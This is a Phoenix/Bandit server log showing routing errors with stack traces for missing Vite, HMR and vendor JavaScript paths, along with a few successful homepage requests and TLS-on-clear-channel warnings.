    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:31.685000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28568] GET /__hmrClient
[Thu Sep  3 18:10:31.700000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28568] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:32.276000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40680] GET /__hmrClient.js
[Thu Sep  3 18:10:32.297000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40680] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:32.912000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28594] GET /__hmrClient.mjs
[Thu Sep  3 18:10:32.933000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28594] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:46.020000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28594] GET /assets/vendor/ag-grid-enterprise.js
[Thu Sep  3 18:10:46.039000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28594] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/ag-grid-enterprise.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:46.067000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28578] GET /assets/vendor/topbar.js
[Thu Sep  3 18:10:46.080000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28578] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/topbar.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:10:46.107000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28568] GET /assets/vendor/ag-grid-community.min.js
[Thu Sep  3 18:10:46.127000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:28568] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/ag-grid-community.min.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1393.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 18:24:03.692000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:24:03.714000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.176:38047] GET /
[Thu Sep  3 18:24:03.719000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 195.96.139.176:38047] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:03.722000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.176:38047] Sent 200 in 7ms
[Thu Sep  3 18:24:04.049000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33678] GET /
[Thu Sep  3 18:24:04.049000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:33678] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:04.050000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33678] Sent 200 in 865µs
[Thu Sep  3 18:24:05.628000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:24:05.879000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:22772] GET /
[Thu Sep  3 18:24:05.880000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:22772] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:05.882000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:22772] Sent 200 in 2ms
[Thu Sep  3 18:24:06.740000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:24:07.543000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:22794] GET /
[Thu Sep  3 18:24:07.544000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:22794] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:07.545000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:22794] Sent 200 in 1ms
[Thu Sep  3 18:24:09.125000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:24:09.412000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:22808] GET /
[Thu Sep  3 18:24:09.412000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:22808] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:09.413000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:22808] Sent 200 in 1ms
[Thu Sep  3 18:24:16.561000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46154] GET /
[Thu Sep  3 18:24:16.562000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:46154] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:16.562000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46154] Sent 200 in 939µs
[Thu Sep  3 18:24:17.704000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46168] GET /
[Thu Sep  3 18:24:17.704000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:46168] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:24:17.707000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46168] Sent 200 in 3ms
[Thu Sep  3 18:24:23.494000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:22808] GET /@vite/env
[Thu Sep  3 18:24:23.518000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:22808] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:24.092000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46194] GET /@vite/client.js
[Thu Sep  3 18:24:24.116000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:46194] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:24.162000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46180] GET /@vite/client
[Thu Sep  3 18:24:24.181000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:46180] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:24.204000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46202] GET /@vite/client.mjs
[Thu Sep  3 18:24:24.218000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:46202] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:25.078000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46202] GET /bundledDevClient.mjs
[Thu Sep  3 18:24:25.093000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:46202] ** (Phoenix.Router.NoRouteError) no route found for GET /bundledDevClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:26.544000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46202] GET /vite/client
[Thu Sep  3 18:24:26.569000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:46202] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:26.682000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46194] GET /vite/client.js
[Thu Sep  3 18:24:26.703000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:46194] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:24:27.376000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:46202] GET /vite/client.mjs
[Thu Sep  3 18:24:27.395000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:46202] ** (Phoenix.Router.NoRouteError) no route found for GET /vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
